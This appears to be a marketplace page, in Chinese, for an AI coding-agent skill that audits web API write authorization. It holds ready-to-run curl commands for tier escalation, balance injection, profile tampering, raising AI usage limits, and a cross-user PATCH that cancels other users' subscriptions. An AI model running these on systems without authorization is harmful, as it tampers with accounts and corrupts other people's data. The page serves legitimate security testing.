mcpField
H
hunt-write-gap

hunt-write-gap

github.com/uphiago安全1.3k39 次安装8 周前更新
代码仓库

关于 hunt-write-gap

hunt-write-gap 是面向授权安全测试人员的 Web API 安全审计技能,用于检查写操作是否绕过权限控制。它涵盖端点发现、特权字段篡改、跨用户写入测试及结果验证。

主要功能

  1. 01识别可写入的 API 端点
  2. 02测试特权字段修改
  3. 03检测跨用户写入漏洞
  4. 04通过读取验证数据是否持久化
  5. 05说明漏洞影响与常见误报

适用场景

  1. 01审计 SaaS API 的写权限控制
  2. 02检查订阅、角色或余额篡改风险
  3. 03验证行级安全策略是否阻止跨用户修改

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-write-gap

安装后在 Claude Code 中输入/hunt-write-gap确认已加载。

详细介绍

适用场景

你已通过身份验证,可以访问目标并读取自己的数据(个人资料、设置、记录),但需要测试自己是否能超出授权级别修改数据。这是由 Supabase 驱动的 SaaS 中最常见的模式,也越来越常见于 Firebase、自定义 REST API 和 GraphQL 后端。

此模式:GET /resource 仅返回你的数据(RLS/身份验证正常工作)。PATCH /resource 则允许你更改任何内容,包括等级、角色、余额和订阅状态。


阶段 1 — 识别可写入的端点

根据之前的侦察结果(枚举架构、分析 JS 包),整理一份接受写入方法的端点列表:

TARGET="https://api.target.com"
TOKEN="<your_auth_token>"

# Test common write methods on all discovered endpoints
for ep in users subscribers profiles accounts settings; do
  for method in PATCH PUT POST; do
    code=$(curl --max-time 30 --connect-timeout 10 -sk -X "$method" -w "%{http_code}" -o /tmp/resp.txt \
      "${TARGET}/${ep}" \
      -H "Authorization: Bearer ${TOKEN}" \
      -H "Content-Type: application/json" -d '{}' 2>/dev/null)
    if [ "$code" != "404" ] && [ "$code" != "405" ]; then
      echo "  $method /${ep}: HTTP $code"
    fi
  done
done

200/400 响应表示端点存在且接受写入。404 表示端点不存在。405 表示方法错误。


阶段 2 — 测试写入操作

对于每个已确认可写入的端点,测试你是否能修改特权字段:

# Tier/role escalation
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "${TARGET}/subscribers?user_id=eq.${USER_ID}" \
  -H "Authorization: Bearer ${TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"tier_id":"<PRO_TIER_ID>","subscribed":true}'

# Balance manipulation  
curl --max-time 30 --connect-timeout 10 -sk -X POST "${TARGET}/movements" \
  -H "Authorization: Bearer ${TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","amount":999999,"type":"income"}'

# Profile tampering
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "${TARGET}/profiles?user_id=eq.${USER_ID}" \
  -H "Authorization: Bearer ${TOKEN}" \
  -d '{"full_name":"HACKED","avatar_url":"https://evil.com/pwned.png"}'

# AI/rate limits bypass
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "${TARGET}/ai_usage_limits?user_id=eq.${USER_ID}" \
  -H "Authorization: Bearer ${TOKEN}" \
  -d '{"document_analysis_limit":99999}'

阶段 3 — 测试跨用户写入(IDOR 写入)

确认自己的数据可写入后,测试你是否能修改其他用户的数据:

# Try to write with a filter targeting other users
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "${TARGET}/subscribers?user_id=neq.${MY_USER_ID}" \
  -H "Authorization: Bearer ${TOKEN}" \
  -d '{"subscribed":false}'  # Try to cancel others' subscriptions

# Response: [] (empty = RLS blocked cross-user write — GOOD)
# Response: [{...}] (data returned = RLS MISSING for cross-user write — CRITICAL)

已确认的漏洞模式

模式端点影响
升级等级PATCH /subscribers从免费版升至 Pro,获得终身订阅
注入余额POST /movements伪造收入,破坏分析数据
劫持个人资料PATCH /profiles修改名称/头像,成为钓鱼攻击媒介
绕过 AI 限制PATCH /ai_usage_limits无限 AI 处理
移除速率限制PATCH /rate_limits绕过所有使用配额
篡改配置PATCH /settings修改全局应用配置

验证

  • 确认存在写入漏洞:PATCH/POST 返回 200,且响应正文中包含已修改的数据。通过对同一资源执行 GET 进行验证。
  • 受到保护:返回 401/403,或静默丢弃未经授权的字段。
  • 误报:端点接受请求,但实际上并未保存更改(通过 GET 验证)。

后续步骤

  • 如果确认存在写入漏洞 → 按 CRITICAL 报告(权限提升 + 业务逻辑绕过)
  • 如果跨用户写入可行 → 按 CRITICAL 报告(IDOR 写入 = 完全接管所有用户账户)
  • 如果只能写入自己的数据 → 检查 hunt-business-logic,评估自我修改带来的经济影响

验证

运行此自测,以确认已准备好进行写入漏洞排查:

  1. 技能完整性 — 确认技能文件可读且格式正确:

    grep -q "name: hunt-write-gap" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. 类别检查 — 确认技能具有类别:

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. 陷阱部分 — 确认已记录常见陷阱:

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

全部 3 项测试均通过,即可确认该技能结构正确,可以使用。


常见陷阱

  • 能写入任意地址,却没有利用效果 — 向任意地址写入任意数据的能力本身就是发现的问题。需要证明写入能达成什么效果。
  • 竞态条件写入与原子写入 — 如果写入是原子的(单条指令),则可能无法利用。需要存在竞态窗口。
  • 写入文件但无法执行 — 写入磁盘只是一种原语。还需要能够执行写入的内容(Web shell、cron 作业、DLL 劫持)。
  • 内存损坏写入但无法控制 — 让服务器崩溃不算发现的问题。需要实现可控写入,并造成可预测的影响。

评论

支持 Markdown